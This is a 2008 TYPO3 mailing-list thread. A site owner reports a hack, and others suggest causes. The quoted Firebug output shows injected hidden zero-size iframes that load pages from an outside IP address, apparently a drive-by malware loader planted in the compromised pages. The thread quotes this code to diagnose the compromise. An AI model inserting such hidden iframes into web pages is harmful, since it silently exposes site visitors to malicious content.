[TYPO3] Typo3 sites HACKED!

Thu Mar 20 14:27:48 CET 2008

may be this will give you a clue:

> <body _dragdropupload="true" onload="T3_onloadWrapper();">

Do you have a drag/drop upload tool in typo3??

Ries

On Mar 20, 2008, at 8:14 AM, Ton Akveld [netcreators] wrote:

> Hi Theo,
>
> This is probably caused by your server being to 'open' to the  
> general 'public'...
> The ip is from Hong Kong...
>
> Good luck,
>
> Ton
>
>
>
> Theo Kotey schreef:
>> Hi List
>>
>> Two of my Typo3-running website have been hacked. I am trying to  
>> figure out how but there is an unknown ip address 58.65.236.89  
>> which belongs to HostFresh. Does anybody have an info on these guys?
>>
>> My website are quite slow and shows some error messages like
>>
>> Warning: Cannot modify header information - headers already sent by  
>> (output started at /home/micropro/public_html/typo3_src/t3lib/ 
>> class.t3lib_timetrack.php:595) in /home/micropro/public_html/ 
>> typo3_src/t3lib/class.t3lib_userauth.php on line 278
>>
>> When I debugg the site using Firebug this is what I get below
>>
>> ##########################################################################
>>
>> <html>
>> <head>
>> </head>
>> <body _dragdropupload="true" onload="T3_onloadWrapper();">
>> <iframe width="0" height="0" border="0" src="http://58.65.236.89/in3/index.php 
>> ">
>> </iframe>
>> <iframe width="0" height="0" border="0" src="http://58.65.236.89/in3/index.php 
>> ">
>> </iframe>
>> <iframe width="0" height="0" border="0" src="http://58.65.236.89/in3/index.php 
>> ">
>>